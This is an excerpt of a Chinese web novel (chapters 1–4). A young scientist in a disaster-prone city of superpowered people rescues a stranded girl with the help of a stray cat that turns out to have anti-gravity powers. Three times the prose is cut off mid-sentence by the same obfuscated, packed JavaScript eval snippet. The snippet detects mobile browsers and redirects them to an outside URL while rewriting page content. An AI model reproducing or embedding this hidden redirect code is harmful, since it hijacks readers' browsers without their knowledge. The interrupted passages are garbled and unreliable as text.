《科学家,但异能男友x7》 1. 牛顿的棺材板 呲啦——! 钢筋水泥崩断,巨响震耳。半旧不新的席梦思床垫不住颠簸,林昭闭着眼,往墙侧翻了个身。 下一刻,窗外男女老少齐齐尖叫,锅碗瓢盆劈里啪啦往下砸,听着像几家厨房一起打翻,泼开一锅烧沸的两百度热油。 林昭翻个面朝天,胳膊探出抓着被子,给自己兜头蒙住。 智能腕表上的数字发出微弱荧光,抵着他额角喊:“早上好,林。现在是早上七点,你该起床了。” “早上好……”林昭含糊答道,“再睡……五分钟……” “噢,林。今天你不能睡懒觉。”智能腕表晃着他手腕叹息,“还记得吗?八点一刻,你有一次与超管局的重要会议。” 智能腕表是林昭升高级研究员时所里发的奖励,发声模块有点小BUG,只有一个基础男声。 声线温柔低哑,挺好听。但林昭受不了洗澡睡觉都有个男声在旁边殷勤问候,觉得太Gay,自己动手重写发声模块,导了几组机械音进去。 模拟设备上测试都很正常,谁知一开机,问好的又是那把深情Gay音。 切换几个声库都不管用,林昭把表送到兄弟单位的高科应用技术中心做体检,结果说是扬声口在运输过程中遭过刮擦,内部结构被破坏了。 技术中心修不了,送回官方又太贵。林昭转而驯化自己。 钢铁侠的智能管家Javis那不也是个男的?他可以,林昭觉得自己也可以。 “现在是早上七点零二分。林,你可能想再多睡一会儿,但根据我们昨晚的约定,我不得不采取必要措施。” 话音落下,房间灯光骤然大亮,单人床床脚的小型电机嘶嘶启转,传动皮带撬动床板翻转九十度,将林昭连人带被子一掀,甩到床前的彩色橡胶地垫上。 砰!!! 白炽灯刺眼,林昭酸着眼睫直抽冷气。片刻,他翻身缓缓蜷成一团:“痛痛痛……” 土法叫醒,谋财害命…… 他怎么想的,为什么搞个“自动唤醒装置”折腾自己??? 懒觉是睡不成了,林昭扶着腰起身,半闭眼睛撞过房间走道里乱堆的杂物,挨到窗下水池刷牙。 东璞港寸土千金,林昭租住的一室户布局高效紧凑,厨房和洗漱共用一个水池。楼间距可怜,绿萤萤纱窗望出去就是对楼的厨房间,常能清楚看到穿着短睡衣或汗背心的住户走来走去。 屋里暗得反常,林昭以为阴天要落雨,撑起眼皮看天,却见窗外竖起一块直上直下的石板,遮断了大部分光线。 林昭:“……” 这石板怎么那么眼熟。 糊满陈年油污,沥青层疙瘩起伏……这不是楼底下的鱼珠巷吗??? 褪色的单行道箭头和道旁停车位赫然在目,数株被带起的冬青木卡在混凝土板间,树冠沉沉,垂头向地。 被剪切力扯断的路基钢筋自两侧叉出去,丑得像几条抽搐的尺蠖。 吐掉鼓着白泡泡的牙刷,林昭拿过牙杯漱口。 地质事故电视上天天都在播,他们这遭殃的只有半拉鱼珠巷,没掀居民楼地基,算是很幸运了。 可惜楼下早点摊全打翻了,牛肉咖喱粉丝汤多加香菜不加葱……吃不到了。 一扇又一扇窗户啪啪打开,看热闹的人聚拢来,仰着头抬起胳臂往上空指指点点。 听着是在说路尽头挂了个小孩,好像是出事故时书包给枝叶勾住,没来得及跑掉,抱着棵树摇摇欲坠,多可怕啊多可怜。 又讨论灶头锅具全都摔毁,不知要损失几个钱;再抱怨几句消防队怎么还不到,小孩就被忘了个精光。 “我小孩还没下来呢!”一个尖亮的声音穿透楼板,“人都没脱离危险,你们倒好,掰手指算起钱来啦!——平时不都很厉害的吗,什么火力控制、意念移物的……怎么到了要救人,一个个都往后缩啦?” 有人咕咕囔囔,叫她讲话放好听些,这位妈妈又叫:“那是我女儿——!我女儿!大家邻居一场,你们就这样站着看是吧……叫你们帮忙灭个火……都不肯动!你们自己讲讲,这大油锅烧上去,烧到绿化带怎么办,烧到路怎么办!我女儿下不来的啊!她没地方逃的!” 林昭百无聊赖听着,漱口洗脸,将毛巾挂回粘钩上。 又一阵悉悉梭梭的骚动,女人大喊:“好了好了!不要你们虚情假意了!不就有点超能力……了不起死了好吧?” 她放声往楼顶喊:“囡囡——!别乱动!——坚持住!妈妈来救你了!” 回答她的是一个细弱的轻喊:“妈妈——妈妈……”再说什么,就听不清了。 高跟鞋笃笃敲地,冲进林昭这栋单元楼,掠过门板往楼上去。 林昭打个哈欠,按了按太阳穴回卧室。 不是他事不关己,是这世界本就不太正常,所有人都已习以为常。 三年前,一场持续数周的特大磁暴激活了世界范围内的异能突变。至今为止,超能力者已占据全球总人口35%以上。 海洋板块和地壳运动也被影响,异常天候和地质灾害频发,意外事故成了司空见惯的日常。 雨后春笋一般出现的异能者,屡见不鲜的路面塌陷和局部地震,最初引发了很大的恐慌。 公众畏惧这种发生在人类身上的不均等进化,不安定的环境则加剧了这种恐惧。人们疑神疑鬼,生怕异能者操纵、滥用这种能力,引发更多袭击流血事件甚至政治冲突。 还好,人类是幸运的。绝大部分人进化出的超能力都弱得不堪一提,毫无威胁性可言。 基于实际情况,各国政府只是加强了社会安全保障力量,抽调了部分强力的异能者成立特殊执勤小队应对特殊事态,并在后来的三年里,温和推进,完成了超能力者身份注册登记的工作。 人人武装威慑彼此的丛林噩梦没有降临,生活一切如常。 而在东国,甚至连“超能力者”这个概念都被摒弃,官方以“高功能人群”这个微妙克制的名字来称呼他们。 可是觉醒特异功能的人是“高功能人群”,没觉醒的人难道就属于“低功能”了吗? 随着异能者数量增加,社会上最近也起了种思潮,认为高功能人群天生高人一等,林昭觉得这不是好事。 换好衣服,林昭抬脚出门,惊起一团软乎乎、热烘烘的黑色毛球。 “喵!喵喵喵!”猫爪子乱挠他的牛仔裤边,显是饿了。 隔壁屋九十六岁的老太太猫毛过敏,林昭拎起小猫后颈皮,揣着就走。 防盗门自动吸附上锁,他转进楼梯间。 上几层楼,沥青路面也跟着往上延伸几截。到底得有多高啊——正在感叹时,林昭听到那位妈妈响亮的声音:“囡囡!记得攀岩课老师教你的吗?要相信自己!要保持积极进取的心态!” 林昭:“……?” “要勇敢!!!”他往上赶几步,见到一身西装套裙的母亲高高扬着手臂,半个身子已探出了楼洞,“有勇气,有信念!今天就是一趟素质拓展训练,相信你自己,你就有能力!来,脚踩住凸出来那一块,手抓电线杆!” 林昭一时无语,“这位女士……” 这位母亲的职业可能是HR: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701062|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来帮忙的?那先简短介绍下你的能力。” 林昭:“……” 林昭:“负重攀岩对一个小孩来说太危险了。这棵树能够支持她的体重,建议稍安勿躁,保持冷静,等消防队的救援。” 母亲一甩头,气势汹汹:“你什么人啊也来教训我?你是超能力者?和楼下那群没出息的一样,只知道拿超能力煲粉丝、炸油条、炒五香干丝炒面的???——你能救我女儿吗?不能你废什么话?专门来笑话我们这些普通人?” 林昭了然。这位家长自己没有超能力,一时情急又没办法可想,就想着将焦虑的情绪转嫁他人…… 他好脾气地道:“您说是就是吧。” 没等这位母亲反应过来,他走开上楼去了。 朝阳雾濛濛抬高两寸,屋顶上染遍红彤彤的霞光。林昭找了条长柄竹扫帚,踩着瓦片到檐边蹲身比了比,意识到楼间距只是看着近,实际从他这到路板,大约还有五米半距离。 路板顶头勉力攀爬的小女孩望见了屋顶上的林昭,眼睛微睁,顿住了动作。 下一秒,做母亲的高声发号施令。小女孩扁扁嘴,垂落了脑袋。 喀拉,喀拉……踩过瓦片的脚步声由轻渐响,屋顶上来了人。林昭心想怎么有人和他一样无聊,大清早爬屋顶看火烧,回头,先见到一双布洛克雕花古董牛津鞋。 纤尘不染,格格不入。林昭皱眉,视线往上,又看见一身熨得笔挺的三件套西装和垂挂下来的雪白围巾。 立着领的风衣大敞,衣尾随风摇荡,像哪个派头十足的电影明星。 鱼珠巷里从没有这样体面的房客,林昭随口招呼:“拍戏?” 喀拉。 来人定住了。林昭提着竹扫帚起身,刻意地保持距离:“有事?” 这会儿还没到七点半,要熨全套行头,至少得提前一小时起床打点。可这样考究的人,怎么会跑到屋顶天台上围观吃瓜。 林昭正想着这家伙不会是个境外势力吧,就听到男人口齿清晰,报出了自己的工作单位,“中央科学院东璞分院,705所——林昭。” “是你吧。”语气无比肯定。 林昭看了眼自己身上的科学院纪念卫衣,决心嘴硬到底,“你认错人了。纪念衫,参观时买的……我桥浦高级技工学校的。” 他找地方放竹扫帚,男人只是端详他。沉吟片刻,他拿眼神示意翘起的路板:“你不救她?” 林昭:“救不了。” “消防队不会来了。” 林昭骤然抬头,对上男人视线,一瞬愣怔。 陌生人的皮相俊美得出奇。眉深鼻挺,薄唇轻翘,黄金比例分割,连颅骨都是完美曲线走向,应该送去隔壁的美术学院研究研究……林昭飞速地走了个神。 石膏白的修长手指,从大衣口袋里取出一条士力架巧克力,慢条斯理撕包装纸。 扯开,男人将巧克力递给他,“你没吃早餐。” “对胃不好。”林昭正想说点什么拒绝他,又被他给抢先了。 这人怎么想一出是一出的……自己吃没吃早餐,和他有什么关系?林昭被他念得有点烦躁。 他抓了下头发,接过来路不明的巧克力,包好,随手放进衣袋。 余光一扫,却见那张美得非人的英俊脸孔上,怪异地掠过一丝忧伤。 还没解读出那个表情的意味,男人逼近,双手抓握他肩,骤然用力,一把将林昭推出了屋顶! ……我操!!! 林昭扬起手臂极力一抓—— 只抓下了男人颈间那条柔白胜雪的长围巾。 2. 压不住了 大脑CPU疯转,子弹时间开启,高空城景无限慢放。极滞缓的十分之一秒内,林昭左腕翻转,捉住了怀中失重浮起的毛绒尾巴。 “啊咪——呀!!!” 猫咪吃痛,往外一挣,翻身便打。 坠楼之势立止,一人一猫斜向推出,划出一道平滑弧线,直冲五米开外的沥青路板。 混泥土边缘的路基钢筋迎面冲来,林昭松开猫尾,错身揽臂一吊,将自己死死挂住! 几乎同时,重力回归。黑色小猫失速骤停,直直坠落林昭肩头。 冲撞时的惯性还未卸去,又被猫撞了一道,林昭“嗷”地一声,吊着钢筋,钟摆似地荡了会儿。 忍着腰腹间撞痛勉强稳住平衡,他扛着猫,抬脚往里,去找下缘钢筋。 研究员这一行大部分时间坐办公室,身体素质谈不上有多棒。但林昭基本条件还算可以,他有一米七八,手长脚长,作息虽不健康,每年体检报告却都证明他健康无虞。 二十二岁健全男青年该有的爆发和力量,他都不缺乏。饿着肚子徒手攀钢架,倒也不在话下。 两条腿都找到支点,林昭稍事歇息,腾出右手,将险险勾在虎口的长围巾往颈后一甩。 喧声忽止,一片死寂。 片刻,轰雷似的掌声忽然爆开。 林昭和猫对看一眼:“???” “年轻人!你勇敢的!!!”摆炒面摊的胖叔喊得最响。他神色羞窘而激动,两掌间火星子劈啪乱窜,“惭愧,好惭愧啊……咱们那么多人,竟然没一个人敢上去帮忙……诶,我得问问你。小伙子,你怎么想到从上边跳的?脑筋好的!艺高人胆大!” “嗲的咧,嗲得很!”对街卖冷切牛肉的花姨举着两柄剔骨尖刀,凝神屏息,弯曲了刃口,比出个银闪闪的锋利爱心,“小帅哥,你住哪个单元哪一栋?有女朋友了伐?我女儿在外地读书,她就喜欢你这样的男孩子……回头阿姨介绍你们认识!” “大街上的显摆什么。”小卖部的席老板高举着手机播视频,拖着长声,有意吊胃口,“我和你们讲,这小伙子不一般的。这里……停。都……看清楚了?” 数颗毛茸茸的脑袋一齐凑上品鉴,惊叹连连。 “真嘟假嘟……他从楼顶飞下来的!?” “超能力是飞行???” “怎么可能……” “哎,刚没看清。再来一遍——” 就在半分钟前,全球范围内还没有任何飞行超能力者的记录。甚至于连“滑翔”、“浮空”等近似的异能,都未曾有过目击者。 半分钟后的现在,已有不少人的手机里,实时录下了这位青年未装备任何设备,完成高空滑翔的一幕。 这是奇迹诞生的一刻。 虽说……只飞了一秒钟吧。 可这是全球首例啊!能飞一秒都很厉害了! 众人心里,此刻回荡着同一个念头。 ——追随这位奇迹的超能力者! 超能力者,异能者,或者高功能人群……哪一个名字都无所谓,哪一个名字,都代表了超越平凡的意义。 回想起童年觉醒异能的最初时光,谁还没有怀抱过一个中二的梦想? 想善用这份特殊能力,做出不一样的成绩。想成就自己,想帮助他人,想证明自己独一无二的价值……成不了主角或是大反派,能做一个英雄身边的无名伙伴,在危难关头给英雄递个血包搭一把手,那也足够美好啊! 却在接踵而来的能力定级测试面前,在以财富和权力论断的真实生活中,逐渐认识到自己的超能力没用、废物、不堪一提。 现在,望着这位青年奋不顾身、舍己救人的背影。 蒙尘的热愿,在他们的心中再一次点燃了! “我来灭火!”胖叔拿毛巾擦了擦额角的汗,打头靠近路板下摔成一垛的灶台油锅。他跨开腿,扎了个浅浅的马步,摆出平时炒面的动作,右手手掌缓缓翻转,模拟出盖锅盖的动作。 似是感应到了什么,最烈的一簇火苗苗偃旗息鼓,逐渐熄灭。 胖叔换了口气,转向另一蓬野火,重复同样的动作。 花姨怕火,她站得更远一些。她将两根食指点在太阳穴上,双目灼灼,依次注视散落在厨具堆里的刀具和尖角锐器。 咝儿,咝儿。被她盯住的金属,在十几秒内垂委地卷缩弯曲,变作没有危害、也不能够再复原的一片废铁。 席老板没有超能力,他和其他人分工指挥街坊邻居,搬开煤气罐子、清理桌椅板凳、扫掉锅碗瓢盆,给单元楼洞里悉数登场的气垫床、缓冲毯、瑜伽垫……腾地方。 所有人都忙得不亦乐乎,林昭往楼底下看了眼,心里盘算着,将垂挂的围巾慢慢绕上颈间。 楼洞里的母亲喜气洋洋,端着手机上下左右地拍他:“好孩子,你叫什么名字?读哪间大学?见义勇为不容易,回去我得写篇稿子夸你。再给你们学校送面锦旗……不是,同学!!!你怎么还不上去救人!?这围巾对你很重要吗?你都围半分钟了!” “……重要啊。”重要的证物。 绕好最后一圈,林昭将下半张脸埋进去,感受了下软黄金的高贵触感:“能保护我的脖子,掉下去,至少留个全尸。” 母亲笑容一僵。已慢吞吞挪到电线杆上栖身的小女孩听着母亲吃瘪,偷偷抿起了唇角。 林昭心里有了数。 叮嘱小猫留神坐稳,他双手抓握钢筋,来了个不怎么标准的引体向上。 攀山途中还忙着哄猫:“……别气了,大王。不该捉你尾巴,我错了,我道歉。” “你打也打过了……这样如何,下去以后一块打个针?打完针,午餐吃三文鱼?” “……再办个领养手续。以后你吃肉,我喝汤。三文鱼鳕鱼金枪鱼鲜虾仁鸡胸肉牛大骨……成交。我怎么拎你你就怎么拎我,拎脖子就行,断不了。” 谈判结束,林昭攀上混凝土路的顶端。 红艳艳的鱼鳞海奔流向日,屋顶与屋顶联袂并肩,绵延成不息的长河。河面空旷,流霞璀璨,来路不明的谋杀犯早已不见身影。 风起微澜,轻柔翻动小女孩手中的课本书页。 她不知何时坐到了电线杆的检修平台上,橘黄色的大书包沉沉垂挂身后,膝上摊着一本勾圈画点的英文课本,眼神闪烁,观察着林昭。 “哥哥。”小女孩平静而刻薄地说,“喘成这样,你平时锻炼不够啊。” 林昭:“……” “不下去吗?”他说。 “为什么要下去?上来多不容易。看你,爬得这么高,该有多累。”小女孩转眼眺望天边染透了的红云,口吻成熟,像个稳重的大人,“哥哥,你就不想停下来,休息一会儿吗。” 林昭换了个姿势坐下,和小女孩看向同一隅天空,像混凝土缝隙里长出了两团沉默的青草苔。 半晌,小女孩开口:“哥哥,看日出的时候要安静。你一直在想怎么哄我下去对吧……想法太多了,好吵。” 林昭:“一个成熟的社会人,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701063|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要学会在必要的时刻装聋作哑的。” “可我只是一个二年级的小学生啊!我想看日出……都很久没看到过白天的太阳了。”小女孩忿忿不平,“七点半到校早读,九点钟下夜自修。周末有滑冰课、攀岩课、自由搏击、拉丁舞,最近还多报了大脑潜能开发课……妈妈觉得没有超能力很丢人,希望我能尽早觉醒超能力,不要输给别的同学。但我觉得这些老师就是一群大骗子……他们想骗我妈妈的钱。” “哥哥,你是大人,你帮帮我吧。”她疲倦地按了按头,“妈妈说,如果我所有课程都拿A,她就带我去雪山看日出。她忘了……能帮我提醒她吗。” 林昭心想这个忙不容易帮。母亲有自己的烦恼,因了这一次意外,或许她能想起承诺,带女儿前往雪山一游;然而假日短暂,或许明天焦虑重又笼罩她。 道路底端,起了新变化。一处一处灼烧着的火都灭了,卷成废铁的刀具被扫走。红蓝黄绿的气垫床潦草地拼凑起来,结成一张鲜艳的百衲蹦床。 小女孩跟着林昭往下看:“他们在干什么?” 林昭:“救你。” 小女孩不认同地摇头:“是为了救你。” 林昭:“他们原本就想救你。只是和你妈妈吵了架,不好意思开口。” “……为什么吵架?”小女孩弄不明白了,“我以为妈妈希望我赶紧回去上课。她不应该和超能力者起冲突,这太不理智了。” 林昭想了想,“我想她只是担心你。我们都知道,多余的情绪容易引发不理智的决策……为了证明这个理想化的推论,我们可以做个实验。” 他看向小女孩身后那个沉甸甸的大书包,“丢掉你的壳。” “不要!我会被打死的!”小女孩一把抱住书包,“上次我弄丢新买的笔袋,她戳着我脑袋训了我三天!!!” “减轻重量,是确保你能安全着陆的必要前提。”林昭直身站起,伸手给她,“你也听说过分级式火箭的加速原理吧……?” “就说了我才二年级!”小女孩飞速撒手,将书包用力一甩,“我想无知一些……” 橘黄色的塑料壳在空中打开,课本和习题册漫天飞舞。小女孩跃起来,一头撞在林昭胸前,两条短胳膊黏糊糊环住他的脖子。 摁开智能腕表,输入几组数据,林昭翻转手腕,表盖向下,全面覆盖扫描混凝土路板。 重力荷载确认。反重力场脉冲频率确认。风速风向确认。减速带阻抗确认…… 林昭突然想起什么,“帮个忙,把我的围巾解了。对,拉开,往后。” 小女孩像去到游乐场一般兴高采烈:“降落伞!” 林昭笑眯眯:“聪明。” 又警告她,“说不定会死。” 小女孩说:“我不信这套,你别吓我。” “已为您计算出最佳降落路线……实时风速监控已开启,实时风阻系数智能自适应模式已开启。”电子管家尽职尽责到小数点后两位。 小黑猫弓身起来,灵活一绕,四个爪子揪住了林昭的卫衣后领。 风扬起,将两个人类的头发拨开往后乱吹。 “那么,”坠落前一秒,林昭轻声道,“——说吧。你的超能力是什么?” 小女孩瞪大眼睛,呆住了。 ……被发现了! 被!发!现!了! 什么时候暴露的!!! 还以为掩饰得很好呢……? 林昭也不需要她回答。迎着风,他往前一步,纵身跃下! 3. 要什么 0秒时刻。 远方飘来一种特殊的双调警笛声。 呜——呜—— 像极了风笛在雾中拉响哭泣。 危险人物的预言成真,消防队没有来。 来的是特擅长找麻烦的监察组。 雾气中声音听不真切,林昭想说不定是他混淆了。说不定这只是清晨涨潮的海水,倒灌进东璞港水渠的声音。 因全球暖化,大量沿海发达地区在过去十几年间陆续被海平面吞没。东国政府攻坚破难,在欧亚大陆东缘、西太平洋尽头架设起以三大海上移动港为中心、城际轻铁为运输血脉、几十座舢板卫星城为外围环翼的群岛新都市体系。 705所和林昭所在的东璞港,就是三大移动港中,最早落成的一座。 整座城市四面环海,布局中高外低,呈辐条状分布。城中绿带和观光河道全都来自人工制造,一年四季,海潮拍岸不息。 0.32秒。 智能腕表“滴”一声发出提醒信号,压在林昭后颈的重量瞬间湮灭。反重力场开启,下落之势立缓。高楼风横向作用在两人一猫,推动他们向道路对侧的冬青木飘去。 呜——呜咿—— 雾气撕裂,一高一低两个频率的声调同步急促拉升。 划掉误解,唯一答案显形。超管局下属的安全监察执行组,正驾驶武装车辆高速迫近鱼珠巷。 1.25秒。 反重力场提前关闭,几株不幸被扯上半空的冬青木形成减速带,冲抵掉垂直方向上的加速度。利用路面壁板完成转向,短暂休息后,小黑猫“喵呜”“喵呜”地叫着,再一次发动能力。 真正的反重力控制,林昭想。它不是磁悬浮那么简单——磁悬浮技术就是热气球,电磁力和热空气形成的上升推力,本质上都来自古典时代,毫无差别。 但反重力,那彻头彻尾是别的东西。事情已经很清楚了,能力发动的瞬间,猫咪不仅做到了质量坍缩、惯性完全消失,它甚至还逆转了自身,形成了虚数质量的概念,制造出了一个小小的反引力场。 也就是都市传说中,UFO的飞行原理。 2.32秒。 “就叫你飞碟吧。”取名废人林昭毫无征兆地说。 反重力技术的研究自21世纪初至今没有显著突破,大型海港城和海上轻铁的制造方式仍是老一套,造价不菲,施工危险,常常闹出人命来。 若是能够模拟小猫的超能力反应,实现反重力技术的应用,那么都市就能够直接漂浮在海面或是天空,再不需要在海底的大陆架上打入几万根天价地基了! 这是真正的科学奇迹。 也所以…… 绝对、绝对不能让监察组发现飞碟的存在。 全球首例反重力控制异能,竟然觉醒在一只猫身上—— 若是被监察组带走,小流浪猫肯定逃不开被拿去做各种惨无人道的强度测试的命运。会被喂药,会被打针,会被虐待会被解剖,会死的!!! 取了名字就是认了主。这只猫,林昭养定了。 3.12秒。 有人留意到了远方高亢的鸣笛声:“是监察组!监察组来了!!!” 人群一阵骚动:“消防队没来,倒招来了监察组……要死,要死啊……” “所以我就说了,这不是地质事故!”有好事者放马后炮,“是超能力犯罪!有异能者在捣鬼!” 黑压压的人头散开了些。人们警惕地彼此张望,像是寻求支持,也像是要在半生不熟的邻居之间找出可疑犯人似的。 不少人脚底抹油,偷偷先溜走了,留下胖叔花姨等人立在原地。 只要发动过超能力,周围的环境里在一段时间内,就会留下特殊的能量痕迹。待到监察组到场,这里动用过能力的人恐怕都得接受冗长又繁琐的调查。 但…… 余下的人将目光投向林昭。青年身形清隽,飘飘荡荡,在空中划出一道轻盈的Z字型。 长围巾映着绒绒曦光飘舞,鼓满张开成一张明亮的白帆。 一轮红日,自他身后跃上楼顶。 星球引力无从抵抗。每一秒钟,我们都在以恒定的加速度向地心坠落。即使无数次跌落折断也想要学会飞翔,这个梦想终于在超能力的新世纪得以实现。 这一次每个人都用自己眼睛看清事实。如何记得最初的愿望,如何巧妙应用能力,创造出挣脱引力的奇迹。 不就是监察组吗。清者自清,没什么好怕,众人一时间又胸怀信心。 “……您已行进在最佳路线上。” 两楼半、二楼、一楼。 ——逆风触地,软着陆! 彩色拼接床垫接住三位空中来客。母亲踩着她那双钉子似的高跟鞋,几近野蛮地冲开人群,扑上将女儿拥入怀中。 小女孩愕然,越过母亲的肩寻找林昭的身影。林昭冲她笑了笑。理想化的证明成立,他也很高兴。 人流分成两支,一支去扶那对母女,另一支向林昭涌来。 生怕小猫被人看到,林昭背手扯开卫衣兜帽,摸了摸飞碟的脑袋,请它钻进帽子里。安顿好小猫,林昭往人群里挤,“抱歉,我上班要迟到了,麻烦各位……” 必须在监察组到达前带着飞碟逃之夭夭。可街坊们留在现场接受调查,他自己却临阵逃脱,怎么想都很没品…… 要怎么解释,林昭想了一路也没主意。 “都让开让开!”出乎意料地,花姨一甩铁勺,指挥人群分开一条路,“小帅哥赶着时间执行重要任务去啊?阿姨懂的,都懂的!你去吧,监察组留给我们!” “路上小心点!”胖叔眼睛笑得眯成一条缝,在前面为林昭开路,“晚上下班早,记得多来叔店里坐坐!” 其他人纷纷附和,林昭一头雾水。 他不知道,早点摊上没有秘密。自他攀上路板那一刻起,众人交头接耳,早已讨论出了这个每天早出晚归、深居简出的神秘小伙子是在中央科学院做保密工作,落户东璞不成问题。 更深一步交换情报,就知晓了他十三岁考进科大特招班,十六岁开始跟随导师搞科研的事。 人二十二岁,工龄倒有六年。 什么叫天才?天才就是退休以后保障金都能拿得比别人多。 天才上的班,那也不能叫班。那得叫改变世界! 区区一个监察组也想挡着天才上班? 鱼珠巷给他解决! 不愿拂人好意,林昭到处点头道谢。一群人拥着他欢送到自行车棚,进了感应范围,他的山地车自动开锁,又惹来一阵惊叹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701064|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那个是减震器吗?” “笨,是电机啊!” “是假装成减震器的电机!” “这个又是什么?指南针?” “卫星导航仪!!!” 喧杂声中,林昭长腿一跨上车,逃命似地往巷口飞驰而去。 没敢启动电机,纯靠自己拼命。 因为自行车改成电动,属于非法改装,违反《道路安全管理办法》。 人不该违法。或至少,不能当着那么多邻居眼皮子底下……公然违法。 弯出巷口,行至高架下层地面车道,林昭转动变速手柄。山地车平稳加速,比肩电动车,超越电动车,最终与机动车道的车辆并驾齐驱,引来无数车主侧目。 还敢不戴头盔,真的是个极其危险、罪大恶极的反面案例! 强烈谴责。请千万千万不要模仿。 山地车以高速冲过下一个红绿灯道口时,一路紧紧追逼的双调警笛声终于红移远离他。 在鱼珠巷口精确过弯,抵达了事故现场! 武装车门拉开,数名身着防爆服的特警架着激光枪和防爆盾跳下,快速扯起封锁线,分组列队人群。 最后跳下来的是个头儿模样的家伙,一个脸上架着副黑超,作战服不好好穿领口大敞露出小麦色胸膛的年轻男人。 “你看他的手……!”有人小声惊呼。 和领口一样,年轻男人的作战服袖口不羁地卷着,露出肌肉结实的一截小臂。小臂内侧的静脉血管上遍布着数列针眼,新的旧的,是长期注射药物留下的痕迹。 “别说话……他看过来了!”另一个人赶紧按住同伴的声音。 年轻领队嗤笑一声,收回视线。 他的头发漆黑,墨镜中间夹着的鼻子格外高挺,红口白牙一刻不停,好像是很不耐烦地在嚼一条口香糖。 走动时发尾扬起,透出里侧挑染的一片血红。 这一抹红在阳光下很刺眼。街坊们对望,拿不准这个又凶又痞的领队是什么来头。 监察组,全称安全监察执行组,编制挂在高功能科学监督管理局下头,各城镇均有部署,属于常规安全管理单位,和城管差不多,就是有点超能力的公务员。 和城管一样随处可见,但就是没见过这么嚣张狂放的。 所以说到底,公务员真的可以染红头发吗??? 不行的吧……! “诶,我、我的烟……!警察先生,我说,您怎么能抢别人烟啊!”又有人惊叫起来。 戴着黑色半指皮革手套的五指开握,过滤嘴卷纸和烟丝粉碎成细不可见的尘灰,被军靴一脚碾入泥地。 他笑,“抢你的了?” 众人:“……” 没抢,没抢。是消灭二手烟。消灭二手烟,人人有责! 旁若无人越过人群,男人站定在混凝土路底端。 “温队,您看是?……”特警们等待指示。 做了个稍安勿躁的手势,这个被称作温队的男人,似某种大型犬科动物一般,用力吸了吸他高挺俏立的鼻子。 下一秒,他取纸巾吐掉口香糖,嫣红舌尖勾出,舔舐了一口夹缠着海风的腥湿空气。 所有人:“……” 什么超能力啊! 狗吗!!? 4. 自行车啊 “十六个无害……三个超微。” 又一条口香糖剥开,青柠薄荷的刺激香气弥漫,短暂压过了勾兑着海风和土气的荤腥五味。 “一个可控……”抽了抽鼻尖,男人撩起眼皮,“……嗯?猫味儿?” 话音落下,高挑俊拔的身条微动,鬼魅似地消失。 一眨眼,人已立定在五米开外。 什么时候动的?怎么动的? 竟然没一个人看清楚。 喧杂街巷一霎安静,人们收拢手脚,不自觉都规矩了许多。 超管局发布的日常安全管理手册依据705所出具的分级体系,将高功能人群依照能力烈度,标定为无害、超微、可控、风险四级,各群体分占异能者人群总数的90%、9%、0.9%,及余下的0.1%。 35%中的0.1%,十亿人之中的三百五十万。这意味着人们几乎不可能在生活中见到风险级的能力者,甚至连可控级都算稀有少见。 而眼前的这一位……多半就是那种上交给国家的、真正的能力者了吧。 真条子,有真本事。不该笑话人是狗的……众人都有些悔。 众目睽睽下,温姓领队蹲下身,长臂一捞,人堆里劈手揪出个小孩:“怎么……” “——这还躲着只小蜗牛呢?” 视线相对,黑超墨镜拉至鼻尖,露出俊拔眉骨下,一双满布红血丝的眼。 瞳珠漆黑,眼底青白,丝丝血痕罗织如蛛网,色泽对比极烈,显出分外的狰狞。 戾气十足,厉鬼似的眼睛。 小女孩骇然,呼吸和辩驳的字眼一起滞在嘴边。好像觉得吓唬小孩很有趣似的,恶劣的男人将唇扭起,陡然呲出两行白森森的鲨鱼牙,犬齿一咬,完成了一个大反派的邪恶狞笑。 “嗨……?”他摇了摇手。 “哇啊啊啊啊啊!变态呀啊啊啊啊啊啊啊!!!——” 小女孩终于反应过来了。她哇呀呀尖喊着,翻身便往母亲两条腿后面躲。 “你这人怎么回事!干什么恐吓我小孩啊!!!”母亲前抵一步,拿硬壳的名牌包挡在身前,强撑气势的大嗓门微微颤抖,“证件……哦对了,证件!登门办案不都要亮证件的吗?同志,你哪个单位的!?请出示你的证件!!!” 不少人看不下去,纷纷声援。台风眼中心的肇事者却满不当回事,他懒洋洋抻起身子,挺高兴地将墨镜拍回脸上。 “年纪这么小,没登记过吧。”这话是对着母亲讲的,“带她去超管局走一趟,尽快办理登记。” 母亲愣怔一秒,还未来得及深思这话里的意思,就又听到男人火上倒油的说话声。 “可控级啊。不多见,罕有。前1%——听懂了?不谢。” 又钳出张证件,挨着母亲瞪大的眼睛前,慢腾腾地晃了晃:“到了,报我名字。不排队。” 六度感官,温决。 赤蛟突击队,第三分队队长。 